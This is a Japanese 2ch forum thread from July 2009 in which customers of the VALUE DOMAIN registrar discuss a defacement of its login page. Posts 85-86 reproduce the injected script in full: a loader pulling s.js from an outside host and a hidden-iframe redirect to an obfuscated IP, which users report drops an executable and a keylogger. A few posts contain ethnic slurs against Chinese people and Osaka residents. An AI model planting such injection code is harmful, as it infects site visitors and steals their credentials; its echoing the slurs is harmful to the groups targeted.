VALUE DOMAINってどうよ？ part33

1 名前：名無しさん＠お腹いっぱい。 [2009/07/06(月) 06:18:47 0] VALUE DOMAIN:バリュードメイン https://www.value-domain.com/ サポート https://www.value-domain.com/support.php sb.xrea.com/forumdisplay.php?f=21 ◆前スレ VALUE DOMAINってどうよ？ part32 pc11.2ch.net/test/read.cgi/hosting/1239851317/ 79 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 20:36:44 0] GENO系かどうかはわからないけど、login.phpが改竄されたってことは 少なくともftpの垢パスが漏れていると言う事実は変わらない。 もしかしたらもっと上位の垢パスの可能性だってある。 80 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 20:58:10 0] ログインにトロイ埋め込まれてて、香港のサーバになんか飛ばしてるのか これ、どう処理するんだろ 適当にパスワード変更してください、って告知して、また１００日無料期間追加程度で終わるのかな 81 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 21:49:42 0] やばいよよばいよ 82 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 21:52:07 0] まだ直ってないの? 83 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:12:14 0] >>32のs.jsって本当にあるね…… 俺、javascriptってよくわかんないんだけど、 ようするに、ログインしたら、ログインページのheadタグの後に、別のサーバのshow.phpってやつを差し込まれて何かされてるってこと？ 84 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:14:53 0] この先いったいどうなることやら 85 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:20:19 P] www.value-domain.com/login.php <SCRIPT LANGUAGE="JAVASCRIPT"> var js = document.createElement("script"); js.src = "1856317799:888/s.js"; try {document.getElementsByTagName('head')[0].appendChild(js);} catch(exp){} js = null; </SCRIPT> https://www.value-domain.com/login.php <SCRIPT LANGUAGE="JAVASCRIPT"> var js = document.createElement("script"); js.src = "1856317799:888/s.js"; try {document.getElementsByTagName('head')[0].appendChild(js);} catch(exp){} js = null; </SCRIPT> 当たり前だけ両方あるな 86 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:27:49 P] s.jsの中身 /*dsadasdadasdasdasdas*/ if(document.cookie.indexOf("O=")==-1) { var js = document.createElement('iframe'); js.src = "http:\/\/0x6EA52967:888/dir/show.php"; js.width=0; js.height=0; try {document.getElementsByTagName('head')[0].appendChild(js);} catch(exp){} js = null; var expires=new Date(); expires.setTime(expires.getTime()+24*60*60*1000); document.cookie="O=Yes;path=/;expires="+expires.toGMTString(); }/*dasdadadsadasdas*/ http:\/\/0x6EA52967:888/dir/show.php ↓ 110.135.41.103/dir/show.php 87 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:31:58 0] To: 85-86 >>31-32がなぜわざわざ全角にしたのか, >>34がなぜhttpでなくtpにしたのか, 考えてみよう. 88 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:33:17 0] >>85 >>86 既出 上で書いてあることをいちいち書き込まなくてよろしい しかも香港鯖にリンクを貼るなや 89 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:40:35 0] ウィルスURLを張るのは普通に通報対象です 90 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:46:18 0] で、肝心のデジロは把握してるの？ 91 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:49:31 0] 把握していないのでは？ ＜script＞〜＜/script＞を削除するくらい一瞬で終わる 92 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:51:23 0] 誰かが魚拓とってくれたみたいだ。 ttp://s03.megalodon.jp/2009-0706-1843-51/https://www.value-domain.com/login.php 93 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:52:08 0] 試しに問題のURLを確認してみた 問題の飛ばされる先のｍ.ｈｔｍに、ノーガードで突っ込んでみると、 XPだと、 ドライブ:/Documents and Settings/ユーザ名/Application Data のフォルダの中に、a.exeというファイルがコピーされ、regeditいじってたら、気がついたら消えてた。実行されたのだろうか 詳細は不明 何かがやられているのは確かだ 実験するのは自己責任で 94 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:56:05 0] つーことは、ログインするとパスが抜かれるのではなく、 ログインページを開くだけで感染するってこと？ 95 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 22:59:41 0] >>93に追記 ログをおったら、Keyloggerを検知した やはりパスワード抜きで確定だと思う 96 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:06:19 0] 要は　javascript 実行させない環境で見れば 問題ないのかな 普段はFireFox+ NoScriptで普段はjavascript 実行させないようにしてるけど・・・ 97 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:07:53 0] >>95に追記 カスペルスキーを実行させながら再実験するとこんな感じになった そんなスクリーンショット ttp://www.dotup.org/uploda/www.dotup.org209036.jpg これは酷い 98 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:12:33 0] login.phpに＜script＞を埋め込むことができるなら、 login.phpのログイン時の処理にも細工がしてある可能性もある JavaScriptを無効にしていても、php内部の処理まではどうなっているのか分からないので、ログインしない方が無難 99 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:13:36 P] >>93 踏んだけどなかったなぁ そもそもそのURL鯖落ちしてないか？ 100 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:16:19 0] ttps://www.value-domain.com/login.php にアクセスするだけで感染？ 101 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:19:14 0] >>98 確かにそうだね しかしそろそろドメインの更新できないと困る・・・ しかも他ではあんまり扱ってないドメインだから 移管するのも面倒だし 102 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:22:45 0] Windows以外のOSかVistaでアクセスした方がいいね 103 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:23:20 0] >>93 >>95 >>97だけど、こうなるのは本当に全くなにも対策してない場合だけだと思う。完全にXPをノーガードの素の状態で試したから ちゃんと最新のセキュリティソフト入ってるなら大丈夫、だとは思う カスペルスキーを立ち上げた状態でウイルスらしき実行ファイルやったら、なんか防いでるっぽかった。ブラウザがフリーズしたけど ｍ．ｈｔｍのほうはこんな感じ、ｓｈｏｗ．ｐｈｐのほうは何も吐き出してこないから、何やってるか全く不明。 正直、なんともいえんけど、 とりあえず、実験に使ったPCは念を入れて、リカバリ中 104 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:26:20 0] >>101 ccTLDは基本的に移管できないよ 認証鍵があるtvは移管できるかもしれないけど 105 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:27:24 0] >>102 HDDはずしてubuntuをCD-ROMブートで使うのが セキュリティ上いいのかしら(´・ω・｀) Winのセキュリティソフトもすぐ対応してくれないと 意味ないし・・・ 106 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:28:31 0] avastは検出してくれないなぁ〜 このキーロガーは、VDのパスを狙っているのではなく、 VD利用者が日頃入力するパスを狙ってるってことかな？ 107 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:35:44 0] GENO系統ならフラッシュかPDFで感染させてFTPパスを抜いてそのパス使ってサイトの改竄する。 108 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:42:28 0] >>102 phpの内部処理まではサーバのほうで処理することでこっちはなにも見れないから、そこまで改ざんということなら、もうOS関係ないと思う ログインすることそれ自体が危険 109 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/06(月) 23:47:00 O] 夕方ログインした もう、手遅れだろうから 全部諦める事にしたよ 大規模な改ざんが来そうだね 110 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:04:41 0] ログイン出来なきゃサポにも連絡できねえ。 問題が大きくなる前に対処しないとやばいんじゃね？ 111 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:16:30 0] 今は消えてるみたい。やっと気づいたかな? でも、相変わらず報告なしだなぁ 112 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:20:36 0] 今北 何？ログインページにロガー仕込まれたの？マジで？？ 今確認する分にはヘンなスクリプトは入ってなさげだけど… マジで仕込まれていたなら事は重大だなあ デジロは早急に今判っていることだけでもアナウンスすべき 113 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:25:57 0] 本当だ、いつのまにかなくなってる でも、>>92で魚拓もうとられてるし、これはさすがにアナウンス無しってことはないと思・・・・・・いたい この期間にログインしてた人は、気がついたら自分のところ改ざんされてもおかしくないしな 114 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:26:31 0] 社員がここを見て気づくというオチ 115 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:30:46 0] 多分直接関係ないとはいえ、 お知らせ欄の「セキュリティ強化について」の文字が妙にむなしく感じる… 116 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:40:06 0] ユーザーが視認できるJavaScriptが削除されたにせよ、login.phpの内部処理が改竄されていたかどうかはユーザーには分からない。 一見対応されたかに見えても、プログラム内部の見えない部分まで確認したのかどうかは、VDのアナウンスを待つしかない。 login.phpが改竄されていたことには変わらない。 まだ危険は去っていないと考えるべきで、アナウンスがあるまでログインはおろか、 ttps://www.value-domain.com/login.php を開くことも控えるべき 117 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:44:17 0] DNSくらいは別に他使えばよかったけど、これはさすがにやっちまったなぁ…… VDは前、サーバー復旧できなくてサーバ丸ごと初期化したこともあったけど、 今回の問題はどこまで被害がでてるかわからないから、それなみのクラスの問題だな 118 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:52:06 P] ふぅ、 とりあえずjs切ってパス変えて、あどべ関連も一応最新チェックしといた。 俳人（廃人）の俺がここで一句 面倒くせぇ　あぁ面倒くせぇ　面倒くせぇ 119 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:53:06 0] >>116 login.phpが書き換えられたというよりも、 login.phpから読み込まれる別のファイルなりデータベースなりが書き換えられてるような気がする。 ユーザー名、パスワード、挿入されたscriptタグが、同じ形に整えられてるからな。 よくあるSQLインジェクションみたいなもんじゃないかなー 120 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:53:39 0] 改竄されていたのは login.php だけだったのか？ という疑問も残っている。 ログイン情報は、cookieに保存されるので、各ページのphpファイル内でcookieデータが送受信される。つーことは全phpファイルに改竄がなかったかチェックする必要がある。 どのページからでも情報漏洩の危険はあるってことだ。 さらに各phpファイルが内部でインクルードしていれば、そのファイルも全てチェックする必要がある。 このくらいできるよね＞VD社員 121 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 00:59:41 0] とりあえずサポートフォームから 「事は重大だから最低でも朝イチでアナウンスが欲しい」 っと送っておいた 質問カテゴリ＝利用前質問ならログイン無しでも送信できるしな 今の状況下でログインなんか怖くてできない 122 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 01:11:13 0] スレをちゃんと読まずに、>>72、>>118と同様、ログインしてパス変えてしまった login.phpの内部処理が改竄されていた場合、ログインしたユーザーには どんな被害があるの。whois情報が流出くらいならまだ許容できるんだけど 123 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 01:12:38 0] phpまでやられてたら、サーバでできることはほとんどなんでもできるよ 124 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 01:22:21 0] まあとにかく今は、VDの鯖がどの程度の被害を被ったのかアナウンスを待とうや phpの内部処理が改竄されている可能性を考慮すると、 ・JavaScriptをOFFにしてログインする ・以前のログイン情報がcookieに残っているユーザー（ログイン状態を維持しているユーザー）が、VDのサイトを開く ってのも控えたほうがいいと思われる。 つまりアナウンスを見に行くのですら気を使う必要があるかもね 既存のcookieを削除してから訪問するとか、ブラウザを変えるとか・・・ 125 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 01:27:20 P] ＞アナウンスを待とうや そのアナウンスが、素直に出てくるとでも思っているのかい？ 126 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 01:36:45 0] んなこた知るか 当然すべきことを期待しているだけだ 通信法、個人情報保護法etc・・・VDがどこまで法を犯すのかというのも楽しみではあるがね 127 名前：名無しさん＠お腹いっぱい。 [2009/07/07(火) 01:50:45 0] 当然すべきことを期待しているだけだ（大爆笑） 128 名前：名無しさん＠お腹いっぱい。 [2009/07/07(火) 02:02:31 0] たまたま見たらこんなことに・・・涙 ドメイン１００個以上使っているのでドビックリしてます。 129 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:10:20 0] >>128 何度目のビックリですか？ 130 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:19:20 0] この程度でビックリしているようじゃここは使えませんよ 131 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:28:16 0] 当然すべき事を意地でも徹底放置するのがデジロじゃないかｗ 132 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:33:57 0] なんでここって重大な障害等が発生してもいつも一切アナウンスしないの？ 133 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:36:43 0] 重大な障害じゃないんだよ。 ここでは鯖が1台どこかに消えちゃったとかが重大な障害 134 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:37:54 0] 入金やカネに関する事はマメにアナウンスするのになｗ 逆に言うとそれ以外の事は一切アナウンスしないｗ 135 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:39:30 0] アナウンスしたら負けだと思っています 136 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:44:17 P] これから他の鯖屋工作員も加勢して、賑やかなスレになりそうだね。 ギガジンが記事にしたらもぅ、それこそ七夕祭りだな（ﾜﾗ 137 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:45:41 0] 分かってない奴が多いねえ 鯖の障害をアナウンスしなかったこととは、チト違ってくる 法が絡むでのぉ 138 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:48:34 0] どんな法がどう絡んでくるの？ 具体的にどうぞ。 139 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 02:54:46 0] いちいち聞くな、自分で調べろ おっと、こーゆーときに「ググレカス」ってんだっけ 140 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 03:00:47 0] そんなわかりやすい逃げ打たれてもｗ 裏付けできないテキトーな事言うなって 141 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 03:12:56 0] 規約にこんなこと書いてあるからVDはなにもしなくてもＯＫ やるかやらないかはもはやVDの気分次第 VALUE DOMAIN サービス利用規約 　利用者は日本国内に在住で、且つ、日本語を理解できるものとします。 【責任の限界について】 　以下の事項に起因して発生する可能性のある損失について、 　当社及び上位レジストラは、利用者あるいは第三者に対して責任を負わないことに、 　利用者は同意するものとします。 ●あらゆる原因によって起こるドメインネーム登録の未完了、不可、損失 ●あらゆる非常事態が発生したことによる損失 142 名前：名無しさん＠お腹いっぱい。 [2009/07/07(火) 03:14:21 0] ググレカスって 逃げ口上にも使えるんだなあ 　　　　　　　　　　　　　　　みつを 143 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 03:16:57 0] なんつーか、毎度のことながら、鯖がクラックされるって酷すぎだよな また保守管理を委託してるシナ人の仕業なんじゃね？ あいつら、何度注意したって聞かねーし 144 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 03:29:44 0] 次はどんなハード調教をしてくれるんだろうと更なる期待が高まる 145 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 03:47:48 0] 次から次に、ここは何かとネタが尽きんなぁ・・・ 146 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 04:04:57 0] 今回の件すらアナウンスしないのなら引っ越しするかな 147 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 04:13:48 0] 俺は特定のドメイン以外は2月の障害の時点で全部移管したよ。 148 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 04:31:14 0] どこに移管したんだよ 149 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 04:35:58 0] >>148 毎度ｗ 150 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 06:10:39 0] >▼2009.07.02 >セキュリティ強化について 率先して強化しなければならないセキュリティーを間違えてるだろｗ 151 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 06:16:46 0] >>31-32 の件ですが、msvidctl.dllの脆弱性です。 アドバイザリ出ました。 ttp://www.microsoft.com/japan/technet/security/advisory/972890.mspx レジストリにkill bitを立てるか、以下の「Fix it」を押しましょう。 ttp://support.microsoft.com/kb/972890/ 他にpdfとswfも併用されていますが、こちらは既知の脆弱性なので AdobeReaderやFlashPlayerが最新バージョンであれば問題ありません。 152 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 07:48:48 0] 現時点でもまだVDログインページは修正されてないの？ 153 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 08:24:17 P] >>151 乙加齢臭 154 名前：121 mailto:sage [2009/07/07(火) 08:25:23 0] おはよう 朝起きたらサポートからの回答か3件も入っていてビビッた。いつものように放置だと思っていたのに。 コピペは控えるけど要約すると ・カスタマーサポート(受付部門)には「弊社担当部門（メンテ担当？）」からの報告が無い ・担当部門への申し送りは行う ・真偽確認＆アナウンスは担当部門の対応となる ってところかな。一応、事の重大さは認識しているようだ。 気になるのは「担当部門からの報告がない」ってところ。 つまり、昨日深夜にスクリプトが外れたのは、VDの操作ではなく、 仕掛けた本人による操作の可能性もあるということだ。 正式アナウンスがあるまで、ログインは控えた方が良いな。 155 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 08:28:02 0] しかし、速報でも何でも、公式アナウンスは絶対しないんだｗ ある意味潔いよねｗ デジロイズムｗ 156 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 08:41:44 0] いつも事あれば全て「担当部門(外注)」だな・・・ 157 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 08:51:22 0] 去年の広告鯖ウイルス混入の件の再来って感じだね 158 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 09:18:14 P] 誰か高木先生にチクってよ 159 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 09:29:38 0] 今wiki見たら前のウイルス事件の内容はいつの間にか記事削除されてるｗ 社員さんもそういう熱意を肝心なとこに向けてくれたらいいのにｗ 160 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 09:36:53 0] >>154 認識はいつも早いんだけど、その後放置でアナウンスせず黙殺だからいつもと変わらないのでは？ クレームにそういった内容の定型文を即返すって対応は従来通りだし しかし、これくらいの修正すら即できない人間しか社内にいないのか？ 外部丸投げがデフォでもちょっとひどすぎだろ 161 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 09:49:34 0] >>154 今回もやっぱり文末は 「騒がず黙って○週間待ってろカス共 ○週間の間は再度文句垂れてきてもシカトだからなコラ(意訳)」 な訳？ 162 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 09:51:14 0] :::::::::::::::(>'A`)>　ｳﾜｧｧｧｧ　::::::: :::::::::::::::( へへ ::::::::::::::::::::::::::::::::: 163 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 09:58:58 0] 今更ながら・・・ これはひどい 164 名前：121 [2009/07/07(火) 10:07:51 0] >>160 そーかもしれないけど、客としては待つしかないしなあ。 でも、俺も過去何度かサポートとやりとりしてるけど、深夜に送った奴に 深夜のウチに打ち返してきたのは初めてだったよ。 >>161 いや、見慣れたその定型文は今回は無いよ。 今回の件は顧客の財産（金やドメイン）に直接影響する問題なので 迅速かつ的確な対応をお願いしたいですな、VD様。 165 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 10:11:20 0] たしかにドメイン絡みで各種情報ぶっこ抜かれて改竄でも やられたら洒落にならん。 ここで管理してるあと数個のドメインも、あと少しで移管可 になるんで全部移管したいが怖くてログインできん。 166 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 10:15:40 0] 今はログインしても大丈夫？ まだ駄目？ 167 名前：名無しさん＠お腹いっぱい。 [2009/07/07(火) 10:18:30 0] 今回、ログイン部分が改ざんされ個人情報が脅かされたわけだろ？ 5000件以上の個人情報をデータベース等として所持し事業に用いている事業者は 必然的に個人情報取扱事業者に該当するんだよ。 該当する場合は個人情報保護法に乗っ取った運営をしなければならない。 今回、こういう被害受けたからには、デジロック側が個人情報保護法に基づき総務省に報告義務がある。 まさか登録者５０００件未満というわけでも無さそうだし。 それ以外にも、以前にも似たようなことがあったということから、 電気通信事業者としても注意義務違反にあたるかもしれない。 ここらへんは詳細わからないことには判断できないが。 とにかく、このまま放置で済む問題ではないのは確実だ。 168 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 10:22:10 0] 何が入ってるかわからんからログインするな。 169 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 10:32:17 0] >>154 やっぱり、「担当部門」=「前回広告鯖をクラックしたシナ人」=「今回ログインフォームを改ざんした犯人」なんじゃね？ だから、デジロの中の人が真偽確認してもレスポンスが悪い、と もう、大阪人は信用ならんなぁ 170 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 10:34:23 0] 大阪は大阪民国法が適用されるから日本国の法律には準拠しないよ 171 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 10:37:02 0] なんかサポ板の挙動がおかしいのもこの改竄の件関係あるのかな？ それとも6月頭から完全放置のネームサーバ障害のせいかな？ 172 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 11:25:47 0] これだけ被害だしといて、告知すらないとかありえないわ。 ウイルス配布元として訴えられてもしょうがないレベル 173 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 11:40:54 0] 別にデジロック擁護する気はないけど、被害って言ってもまだ別に表立った実害って報告されてないでしょ？ 徹底的に祭り上げられるか否かは今後の動向次第じゃないかな現時点では 速報なり何なりで即時何かしらの公式アナウンス出すべきだとは思うけどね 後に大事になった時に、認知しながらも被害拡大させた責任追及されて一番困るのはデジロックだろうから 174 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 11:49:39 0] て言うかまだ今の時点でログインページは改ざんされてるの？ どっちにしてもデジロが何もユーザーに対して説明しないと怖くてコンパネ入れないけど・・・ 175 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 11:52:48 0] ここはいつも通り、自然治癒力に頼るしか方法はありません 176 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 12:07:15 0] どうせまた内部犯行だろ 177 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 12:12:50 0] 技術者が逃げて外注に頼ってもお金が無くて素性の確かでない安いところに 頼んで乗っ取られたとかじゃない? 178 名前：名無しさん＠お腹いっぱい。 [2009/07/07(火) 12:25:29 0] 結局どうだったの？改竄はあったの？ 179 名前：名無しさん＠お腹いっぱい。 mailto:sage [2009/07/07(火) 12:30:18 0] GENOみたいな商売ならだんまりでも 「まあGENOだしな」で済むだろうけど ここは腐っても鯖屋だぜ？ なるべく早急にまともな対応をしないと 冗談抜きに取り返しのつかないことになるかと

---

---

[ 続きを読む ] / [ 携帯版 ]

read.cgi ver5.27 [feat.BBS2 +1.6] / e.0.2 (02/09/03) / eucaly.net products.
担当:undef